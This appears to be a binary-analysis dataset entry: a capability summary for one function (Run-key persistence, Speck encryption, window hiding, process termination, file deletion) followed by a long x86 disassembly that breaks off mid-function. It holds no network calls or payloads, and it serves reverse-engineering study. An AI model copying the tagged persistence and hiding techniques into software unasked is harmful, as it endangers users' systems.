Function at 0x5957cc
Capabilities:
Check os version
Copy file
Delete directory
Delete file
Encrypt data using speck
Get common file path
Get number of processors
Hide graphical window
Move file
Persist via run registry key
Query environment variable
Read .ini file
Set file attributes
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0x4fd
push 0
push 0
dec ecx
jne 0x5957d5
push ecx
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 0x540], ecx
mov dword [ebp - 0x53c], edx
mov dword [ebp - 0x538], eax
mov eax, dword [ebp + 8]
call fcn.00405f18
lea eax, [ebp - 0x534]
mov edx, dword [0x40a594]
call fcn.00406794
xor eax, eax
push ebp
push 0x5addfb
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x5ade18
call fcn.005c1b10
mov eax, 0x5dcdac
call fcn.00405a98
mov dl, 1
mov eax, dword [0x42be48]
call fcn.00404b08
mov dword [ebp - 0x1d8], eax
mov byte [0x5dcc8c], 0
mov byte [0x5dcc8d], 0
mov eax, 0x5dcc90
call fcn.00405a98
mov eax, dword [0x5d5c20]
mov byte [eax], 0
mov eax, dword [0x5d5be0]
xor edx, edx
mov dword [eax], edx
mov byte [0x5dcca0], 0
mov byte [0x5dcca1], 0
mov eax, 0x5dcca4
mov edx, 0x5ade30
call fcn.00405aec
mov eax, 0x5dcc9c
call fcn.00405a98
lea eax, [ebp - 0x414]
call fcn.00405a98
lea eax, [ebp - 8]
call fcn.00405a98
mov dl, 1
mov eax, dword [0x41c748]
call fcn.00404b08
mov dword [ebp - 4], eax
mov byte [ebp - 0x63d], 1
lea eax, [ebp - 0x40c]
call fcn.00405a98
xor eax, eax
mov dword [ebp - 0x644], eax
lea edx, [ebp - 0x84c]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x84c]
lea edx, [ebp - 0x848]
call fcn.0040bbcc
mov edx, dword [ebp - 0x848]
mov eax, 0x5dccc8
call fcn.00405aec
lea eax, [ebp - 0x3ec]
call fcn.00405a98
lea eax, [ebp - 0x3f0]
call fcn.00405a98
mov byte [ebp - 0x621], 1
mov eax, 0x5dcd08
mov edx, dword [0x5dcd0c]
call fcn.00405aec
mov eax, 0x5ade40
call fcn.005c1b10
mov eax, 0x5ade5c
call fcn.005c1b10
mov eax, dword [ebp + 0x10]
push eax
lea eax, [ebp - 0x3b0]
push eax
mov ecx, dword [ebp - 0x540]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b0390
inc eax
je 0x595977
push 0x13a
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.kernel32.dll_TerminateProcess
jmp 0x5ad82b
mov eax, 0x5ade78
call fcn.005c1b10
call fcn.0058ef08
call fcn.005935e4
mov ecx, 0x5ade98
mov edx, 0x5adea4
mov eax, dword [0x5dcd94]
call fcn.0058db04
mov ecx, 0x5adebc
mov edx, 0x5adec8
mov eax, dword [0x5dcd94]
call fcn.0058db04
mov ecx, 0x5ade98
mov edx, 0x5adedc
mov eax, dword [0x5dcd94]
call fcn.0058db04
xor ecx, ecx
mov edx, 0x5adef0
mov eax, dword [0x5dcd94]
call fcn.0058db04
mov ecx, 0x5adf0c
mov edx, 0x5adf1c
mov eax, dword [0x5dcd94]
call fcn.0058db04
mov ecx, 0x5adf0c
mov edx, 0x5adf34
mov eax, dword [0x5dcd94]
call fcn.0058db04
mov ecx, 0x5adf50
mov edx, dword [0x5dcd1c]
mov eax, 0x5adf6c
call fcn.0059002c
mov ecx, 0x5adf50
mov edx, dword [0x5dcd18]
mov eax, 0x5adf80
call fcn.0059002c
call fcn.0058f024
lea edx, [ebp - 0x850]
call fcn.00593690
mov edx, dword [ebp - 0x850]
mov ecx, 0x5adf50
mov eax, 0x5adf94
call fcn.0059002c
mov eax, 0x5adfa8
call fcn.005c1b10
push ebp
call fcn.00594180
pop ecx
mov eax, 0x5adfc0
call fcn.005c1b10
lea edx, [ebp - 0x854]
mov eax, dword [0x5dccc8]
call fcn.00589dcc
mov edx, dword [ebp - 0x854]
mov eax, 0x5dccc8
call fcn.00405aec
mov dl, 1
mov eax, dword [0x41c748]
call fcn.00404b08
mov dword [ebp - 0x1dc], eax
xor eax, eax
mov dword [ebp - 0x5a4], eax
mov byte [ebp - 0x59c], 0
mov byte [ebp - 0x59b], 0
mov byte [ebp - 0x59d], 0
mov byte [ebp - 0x5a5], 0
mov byte [ebp - 0x5a6], 0
xor eax, eax
mov dword [ebp - 0x5ac], eax
xor eax, eax
mov dword [ebp - 0x5b0], eax
xor eax, eax
mov dword [0x5dccc4], eax
mov eax, dword [0x5dcda4]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [0x5dcda8]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [0x5dccd0]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [ebp - 0x538]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x595bd0
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x54c], 1
lea ecx, [ebp - 0x858]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x538]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x858]
mov edx, 0x5adfdc
call fcn.00405ec0
jne 0x595bbe
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x85c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x85c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
lea edx, [ebp - 0x860]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov edx, dword [ebp - 0x860]
mov eax, dword [0x5dccd0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x864]
mov eax, dword [ebp - 0x54c]
dec eax
call fcn.0040b1ec
mov edx, dword [ebp - 0x864]
mov eax, dword [0x5dccd0]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc dword [ebp - 0x54c]
dec dword [ebp - 0x68c]
jne 0x595b1f
mov eax, dword [ebp + 8]
call fcn.0040b8f0
test al, al
je 0x595be2
cmp dword [ebp + 8], 0
jne 0x595c43
lea edx, [ebp - 0x870]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x870]
lea edx, [ebp - 0x86c]
call fcn.00589dcc
push dword [ebp - 0x86c]
lea edx, [ebp - 0x874]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x874]
push 0x5adfec
lea eax, [ebp - 0x868]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x868]
call fcn.0040b8f0
test al, al
je 0x5ad82b
mov eax, 0x5adffc
call fcn.005c1b10
xor eax, eax
push ebp
push 0x5ad525
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x54c], eax
mov cl, 1
xor edx, edx
mov eax, 0x5ae010
call fcn.00593258
mov ecx, 0x5ae030
mov edx, 0x5ae048
mov eax, 0x5ae058
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5adf0c
mov eax, 0x5ae080
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5adf0c
mov eax, 0x5ae0a0
call fcn.0059002c
lea edx, [ebp - 0x3c4]
lea eax, [ebp - 0x3c0]
call fcn.0058a4b0
mov ecx, 0x5ae030
mov edx, 0x5ae0cc
mov eax, 0x5ae0e0
call fcn.0059002c
mov eax, 0x5ae0f0
call fcn.005b0140
test al, al
jne 0x595cf1
mov ecx, 0x5ae030
xor edx, edx
mov eax, 0x5ae0f0
call fcn.0059002c
mov ecx, 0x5ae030
xor edx, edx
mov eax, 0x5ae108
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5ade98
mov eax, 0x5ae11c
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5ade98
mov eax, 0x5ae130
call fcn.0059002c
lea edx, [ebp - 0x878]
xor eax, eax
call fcn.00412bb0
mov edx, dword [ebp - 0x878]
mov ecx, 0x5ae030
mov eax, 0x5ae148
call fcn.0059002c
lea edx, [ebp - 0x884]
xor eax, eax
call fcn.00412bb0
mov eax, dword [ebp - 0x884]
lea edx, [ebp - 0x880]
call fcn.0040bbcc
mov eax, dword [ebp - 0x880]
lea edx, [ebp - 0x87c]
call fcn.00589dcc
mov edx, dword [ebp - 0x87c]
mov ecx, 0x5ae030
mov eax, 0x5ae158
call fcn.0059002c
mov ecx, 0x5ae030
xor edx, edx
mov eax, 0x5ae168
call fcn.0059002c
mov ecx, 0x5ae030
xor edx, edx
mov eax, 0x5ae180
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5adf0c
mov eax, 0x5ae198
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5ade98
mov eax, 0x5ae1a8
call fcn.0059002c
mov ecx, 0x5ae030
xor edx, edx
mov eax, 0x5ae1bc
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5adf0c
mov eax, 0x5ae1d0
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, dword [ebp - 0x3c0]
mov eax, 0x5ae1e0
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, dword [ebp - 0x3c4]
mov eax, 0x5ae1f4
call fcn.0059002c
mov ecx, 0x5ae030
xor edx, edx
mov eax, 0x5ae208
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5adf0c
mov eax, 0x5ae21c
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5ae048
mov eax, 0x5ae234
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5ae244
mov eax, 0x5ae254
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, dword [0x5dcc98]
mov eax, 0x5ae264
call fcn.0059002c
lea edx, [ebp - 0x888]
movzx eax, byte [0x5dccf4]
call fcn.00593690
mov edx, dword [ebp - 0x888]
mov ecx, 0x5ae030
mov eax, 0x5ae274
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, dword [0x5dccf8]
mov eax, 0x5ae284
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, dword [0x5dccfc]
mov eax, 0x5ae294
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5ae2a4
mov eax, 0x5ae2b0
call fcn.0059002c
lea edx, [ebp - 0x890]
mov eax, dword [0x5dcd04]
call fcn.0040bbcc
mov eax, dword [ebp - 0x890]
lea edx, [ebp - 0x88c]
call fcn.00589dcc
mov edx, dword [ebp - 0x88c]
mov ecx, 0x5ae030
mov eax, 0x5ae2c4
call fcn.0059002c
lea edx, [ebp - 0x894]
mov eax, dword [0x5dcd04]
call fcn.0040bcb8
mov edx, dword [ebp - 0x894]
mov ecx, 0x5ae030
mov eax, 0x5ae2d4
call fcn.0059002c
lea edx, [ebp - 0x89c]
mov eax, dword [0x5dcd00]
call fcn.0040bbcc
mov eax, dword [ebp - 0x89c]
lea edx, [ebp - 0x898]
call fcn.00589dcc
mov edx, dword [ebp - 0x898]
mov ecx, 0x5ae030
mov eax, 0x5ae2e4
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5ae048
mov eax, 0x5ae2f4
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5ae308
mov eax, 0x5ae314
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5adf0c
mov eax, 0x5ae324
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5adf0c
mov eax, 0x5ae334
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5ae048
mov eax, 0x5ae34c
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5adf0c
mov eax, 0x5ae35c
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5adf0c
mov eax, 0x5ae36c
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, dword [0x5dccc8]
mov eax, 0x5ae37c
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, dword [0x5dcd18]
mov eax, 0x5ae38c
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, dword [0x5dcd44]
mov eax, 0x5ae39c
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, 0x5adf0c
mov eax, 0x5ae3ac
call fcn.0059002c
call fcn.0040d2a8
fstp qword [ebp - 0x6b0]
wait
push dword [ebp - 0x6ac]
push dword [ebp - 0x6b0]
mov edx, dword [0x5d59f4]
mov edx, dword [edx]
lea eax, [ebp - 0x468]
call fcn.0040df08
mov ecx, 0x5ae030
mov edx, dword [ebp - 0x468]
mov eax, 0x5ae3c0
call fcn.0059002c
call fcn.0040d2d4
fstp qword [ebp - 0x6b8]
wait
push dword [ebp - 0x6b4]
push dword [ebp - 0x6b8]
mov edx, dword [0x5d5cec]
mov edx, dword [edx]
lea eax, [ebp - 0x46c]
call fcn.0040df08
mov ecx, 0x5ae030
mov edx, dword [ebp - 0x46c]
mov eax, 0x5ae3d0
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, dword [0x5dcd20]
mov eax, 0x5ae3e0
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, dword [0x5dcd24]
mov eax, 0x5ae3f0
call fcn.0059002c
mov ecx, 0x5ae030
mov edx, dword [ebp + 8]
mov eax, 0x5ae404
call fcn.0059002c
lea edx, [ebp - 0x8a8]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x8a8]
lea edx, [ebp - 0x8a4]
call fcn.00589dcc
push dword [ebp - 0x8a4]
lea edx, [ebp - 0x8ac]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x8ac]
push 0x5adfec
lea eax, [ebp - 0x8a0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x8a0]
call fcn.0040b8f0
test al, al
je 0x59656c
lea eax, [ebp - 0x3c4]
mov edx, dword [0x5dcd10]
call fcn.00405b30
mov eax, 0x5dcd10
call fcn.00405a98
xor eax, eax
push ebp
push 0x596565
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x554]
call fcn.004309c4
mov eax, dword [ebp - 0x554]
mov dword [eax + 0x18], 0x20019
lea edx, [ebp - 0x8b4]
mov eax, 0x5ae38c
call fcn.0058fff8
mov ecx, dword [ebp - 0x8b4]
lea eax, [ebp - 0x8b0]
mov edx, 0x5ae414
call fcn.00405db0
mov edx, dword [ebp - 0x8b0]
xor ecx, ecx
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
test al, al
je 0x596243
lea ecx, [ebp - 0x8b8]
mov edx, 0x5ae454
mov eax, dword [ebp - 0x554]
call fcn.00431090
mov edx, dword [ebp - 0x8b8]
mov eax, 0x5dcd10
call fcn.00405aec
mov eax, dword [ebp - 0x554]
call fcn.00430994
cmp dword [0x5dcd10], 0
jne 0x5962ca
mov edx, 0x80000002
mov eax, dword [ebp - 0x554]
call fcn.004309c4
lea edx, [ebp - 0x8c0]
mov eax, 0x5ae38c
call fcn.0058fff8
mov ecx, dword [ebp - 0x8c0]
lea eax, [ebp - 0x8bc]
mov edx, 0x5ae414
call fcn.00405db0
mov edx, dword [ebp - 0x8bc]
xor ecx, ecx
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
test al, al
je 0x5962ca
lea ecx, [ebp - 0x8c4]
mov edx, 0x5ae454
mov eax, dword [ebp - 0x554]
call fcn.00431090
mov edx, dword [ebp - 0x8c4]
mov eax, 0x5dcd10
call fcn.00405aec
mov eax, dword [ebp - 0x554]
call fcn.00430994
mov eax, dword [ebp - 0x554]
call fcn.00404b38
mov edx, dword [0x5dcd10]
mov eax, 0x5ae46c
call fcn.0041038c
mov edx, eax
mov eax, 0x5dcd10
mov ecx, 1
call fcn.00405fd0
mov eax, dword [0x5dcd10]
mov dword [ebp - 0x6bc], eax
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x6c0], eax
cmp dword [ebp - 0x6c0], 0
je 0x596327
mov eax, dword [ebp - 0x6c0]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6c0], eax
mov edx, dword [0x5dcd10]
mov eax, 0x5ae46c
call fcn.0041038c
mov edx, eax
mov eax, 0x5dcd10
mov ecx, dword [ebp - 0x6c0]
call fcn.00405fd0
lea edx, [ebp - 0x8d0]
mov eax, dword [0x5dcd10]
call fcn.0040bbcc
mov eax, dword [ebp - 0x8d0]
lea edx, [ebp - 0x8cc]
call fcn.0042dc94
mov eax, dword [ebp - 0x8cc]
lea edx, [ebp - 0x8c8]
call fcn.0040bcb8
mov edx, dword [ebp - 0x8c8]
mov eax, 0x5dcd10
call fcn.00405aec
mov eax, 0x5dcd14
mov edx, dword [0x5dcd10]
call fcn.00405aec
mov eax, dword [ebp + 8]
call fcn.0058f038
lea edx, [ebp - 0x3c0]
call fcn.0058f120
push dword [ebp - 0x3c0]
push dword [0x5dcd10]
push 0x5ae478
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x8d4]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x8d4]
push 0x5ae484
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x3c0]
call fcn.005915dc
mov eax, dword [0x5dccd8]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x5964c7
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x564], 1
lea ecx, [ebp - 0x8d8]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [0x5dccdc]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8d8]
call fcn.005936d4
test al, al
je 0x5964b5
lea ecx, [ebp - 0x8dc]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [0x5dccd8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8dc]
call fcn.00592a24
test al, al
jne 0x5964b5
lea ecx, [ebp - 0x8e0]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [0x5dccd8]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8e0]
call fcn.0058f9d8
add eax, dword [0x5dcd7c]
adc edx, dword [0x5dcd80]
mov dword [0x5dcd7c], eax
mov dword [0x5dcd80], edx
inc dword [ebp - 0x564]
dec dword [ebp - 0x68c]
jne 0x59642f
mov eax, dword [ebp + 8]
call fcn.0058f038
lea edx, [ebp - 0x3c0]
call fcn.0058f120
push dword [ebp - 0x3c0]
push dword [0x5dcd10]
push 0x5ae478
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
push dword [ebp - 0x3c0]
lea edx, [ebp - 0x8e4]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x8e4]
push 0x5ae494
lea eax, [ebp - 0x3c0]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x3c0]
call fcn.0040b8f0
test al, al
je 0x596547
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
call dword [ecx + 0x68]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x59656c
mov eax, 0x5dcd10
mov edx, dword [ebp - 0x3c4]
call fcn.00405aec
ret
xor eax, eax
push ebp
push 0x59660b
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
mov edx, 0x80000001
mov eax, dword [ebp - 0x554]
call fcn.004309c4
mov eax, dword [ebp - 0x554]
mov dword [eax + 0x18], 0x20006
mov cl, 1
mov edx, 0x5ae4a4
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
test al, al
je 0x5965f6
lea eax, [ebp - 0x8e8]
push eax
mov ecx, 8
mov edx, 2
mov eax, dword [0x5dcd0c]
call fcn.00405f90
mov edx, dword [ebp - 0x8e8]
mov eax, dword [ebp - 0x554]
call fcn.00430e98
mov eax, dword [ebp - 0x554]
call fcn.00430994
mov eax, dword [ebp - 0x554]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x596615
xor eax, eax
push ebp
push 0x5966b4
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
mov edx, 0x80000002
mov eax, dword [ebp - 0x554]
call fcn.004309c4
mov eax, dword [ebp - 0x554]
mov dword [eax + 0x18], 0x20006
mov cl, 1
mov edx, 0x5ae4a4
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
test al, al
je 0x59669f
lea eax, [ebp - 0x8ec]
push eax
mov ecx, 8
mov edx, 2
mov eax, dword [0x5dcd0c]
call fcn.00405f90
mov edx, dword [ebp - 0x8ec]
mov eax, dword [ebp - 0x554]
call fcn.00430e98
mov eax, dword [ebp - 0x554]
call fcn.00430994
mov eax, dword [ebp - 0x554]
call fcn.00404b38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5966be
mov byte [0x5dcca8], 1
mov eax, dword [ebp - 0x53c]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x59677b
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x564], 1
mov eax, dword [ebp - 0x564]
dec eax
push eax
lea eax, [ebp - 0x418]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x53c]
mov eax, dword [ebp - 0x538]
call fcn.005b2f40
cmp dword [ebp - 0x418], 0
je 0x596769
lea eax, [ebp - 0x8f0]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x8f0]
mov edx, 0x5adf0c
call fcn.0058ef14
push ebp
lea eax, [ebp - 0x8f4]
mov ecx, dword [ebp - 0x418]
mov edx, 0x5ae4dc
call fcn.00405db0
mov eax, dword [ebp - 0x8f4]
call fcn.0059405c
pop ecx
push ebp
mov eax, 0x5adf0c
call fcn.0059405c
pop ecx
inc dword [ebp - 0x564]
dec dword [ebp - 0x68c]
jne 0x5966e8
mov byte [0x5dcca8], 0
mov eax, 0x5dcd60
call fcn.00405a98
mov eax, 0x5dcd64
mov edx, 0x5ae4e8
call fcn.00405aec
mov ecx, 0x5ae030
xor edx, edx
mov eax, 0x5ae4f8
call fcn.0059002c
push dword [0x5dcd24]
push dword [0x5dcd40]
push 0x5ae50c
lea eax, [ebp - 0x8f8]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x8f8]
call fcn.0040b8f0
test al, al
je 0x596fd9
lea eax, [ebp - 0x8fc]
mov ecx, 0x5ae51c
mov edx, dword [0x5dcd24]
call fcn.00405db0
mov eax, dword [ebp - 0x8fc]
xor edx, edx
call fcn.0042e448
mov dword [ebp - 0x648], eax
mov eax, dword [ebp - 0x648]
mov edx, dword [eax]
call dword [edx + 0x14]
cmp eax, 1
jl 0x596b47
mov dword [ebp - 0x564], eax
lea ecx, [ebp - 0x900]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [ebp - 0x648]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x900]
mov dword [ebp - 0x6c4], eax
lea eax, [ebp - 0x904]
mov ecx, 0x5ae534
mov edx, dword [0x5dcd24]
call fcn.00405db0
mov eax, dword [ebp - 0x904]
mov dword [ebp - 0x6c8], eax
mov eax, dword [ebp - 0x6c4]
mov dword [ebp - 0x6d0], eax
cmp dword [ebp - 0x6d0], 0
je 0x59688f
mov eax, dword [ebp - 0x6d0]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6d0], eax
mov eax, dword [ebp - 0x6c8]
mov dword [ebp - 0x6d4], eax
cmp dword [ebp - 0x6d4], 0
je 0x5968b5
mov eax, dword [ebp - 0x6d4]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6d4], eax
mov eax, dword [ebp - 0x6d4]
push eax
mov eax, dword [ebp - 0x6c8]
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x6d0]
push eax
mov eax, dword [ebp - 0x6c4]
call fcn.00405f28
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x6cc], eax
cmp dword [ebp - 0x6cc], 0
jne 0x596905
mov byte [ebp - 0x6e9], 1
jmp 0x5969e0
lea ecx, [ebp - 0x908]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [ebp - 0x648]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x908]
mov dword [ebp - 0x6d8], eax
lea eax, [ebp - 0x90c]
mov ecx, 0x5ae550
mov edx, dword [0x5dcd24]
call fcn.00405db0
mov eax, dword [ebp - 0x90c]
mov dword [ebp - 0x6dc], eax
mov eax, dword [ebp - 0x6d8]
mov dword [ebp - 0x6e4], eax
cmp dword [ebp - 0x6e4], 0
je 0x596971
mov eax, dword [ebp - 0x6e4]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6e4], eax
mov eax, dword [ebp - 0x6dc]
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 0
je 0x596997
mov eax, dword [ebp - 0x6e8]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6e8], eax
mov eax, dword [ebp - 0x6e8]
push eax
mov eax, dword [ebp - 0x6dc]
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x6e4]
push eax
mov eax, dword [ebp - 0x6d8]
call fcn.00405f28
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x6e0], eax
cmp dword [ebp - 0x6e0], 0
sete byte [ebp - 0x6e9]
cmp byte [ebp - 0x6e9], 0
je 0x596a00
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [ebp - 0x648]
mov ecx, dword [eax]
call dword [ecx + 0x48]
jmp 0x596b34
lea ecx, [ebp - 0x910]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [ebp - 0x648]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x910]
mov eax, 0x5ae570
call fcn.0041038c
test eax, eax
je 0x596a43
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [ebp - 0x648]
mov ecx, dword [eax]
call dword [ecx + 0x48]
jmp 0x596b34
lea ecx, [ebp - 0x914]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [ebp - 0x648]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x914]
mov dword [ebp - 0x6f0], eax
push dword [0x5dcd24]
push 0x5ae580
push dword [0x5dcd5c]
lea eax, [ebp - 0x918]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x918]
mov dword [ebp - 0x6f4], eax
mov eax, dword [ebp - 0x6f0]
mov dword [ebp - 0x6fc], eax
cmp dword [ebp - 0x6fc], 0
je 0x596aba
mov eax, dword [ebp - 0x6fc]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6fc], eax
mov eax, dword [ebp - 0x6f4]
mov dword [ebp - 0x700], eax
cmp dword [ebp - 0x700], 0
je 0x596ae0
mov eax, dword [ebp - 0x700]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x700], eax
mov eax, dword [ebp - 0x700]
push eax
mov eax, dword [ebp - 0x6f4]
call fcn.00405f28
push eax
mov eax, dword [ebp - 0x6fc]
push eax
mov eax, dword [ebp - 0x6f0]
call fcn.00405f28
push eax
push 1
push 0x400
call sub.kernel32.dll_CompareStringA_1
sub eax, 2
mov dword [ebp - 0x6f8], eax
cmp dword [ebp - 0x6f8], 0
jne 0x596b34
mov eax, 0x5dcd60
mov edx, dword [0x5dcd5c]
call fcn.00405aec
dec dword [ebp - 0x564]
cmp dword [ebp - 0x564], 0
jne 0x596823
mov eax, dword [ebp - 0x648]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
je 0x596fd9
cmp byte [0x5dcd58], 0
je 0x596e59
lea edx, [ebp - 0x91c]
mov eax, 0x5ae598
call fcn.0058fff8
mov eax, dword [ebp - 0x91c]
call fcn.005936d4
test al, al
jne 0x596e59
lea edx, [ebp - 0x928]
mov eax, dword [ebp + 8]
call fcn.0040bbcc
mov eax, dword [ebp - 0x928]
lea edx, [ebp - 0x924]
call fcn.00589dcc
push dword [ebp - 0x924]
lea edx, [ebp - 0x92c]
mov eax, dword [ebp + 8]
call fcn.00589d2c
push dword [ebp - 0x92c]
push 0x5adfec
lea eax, [ebp - 0x920]
mov edx, 3
call fcn.00405e2c
mov eax, dword [ebp - 0x920]
call fcn.0040b8f0
test al, al
jne 0x596e59
xor ecx, ecx
mov dl, 1
mov eax, dword [0x58cc58]
call fcn.0047c8ec
mov edx, dword [0x5d5850]
mov dword [edx], eax
mov eax, dword [0x5d5850]
mov eax, dword [eax]
mov eax, dword [eax + 0x364]
mov eax, dword [eax + 0x284]
mov edx, dword [eax]
call dword [edx + 0x44]
mov eax, dword [ebp - 0x648]
mov edx, dword [eax]
call dword [edx + 0x14]
test eax, eax
jle 0x596c8d
mov dword [ebp - 0x68c], eax
mov dword [ebp - 0x564], 1
lea ecx, [ebp - 0x934]
mov edx, dword [ebp - 0x564]
dec edx
mov eax, dword [ebp - 0x648]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x934]
lea edx, [ebp - 0x930]
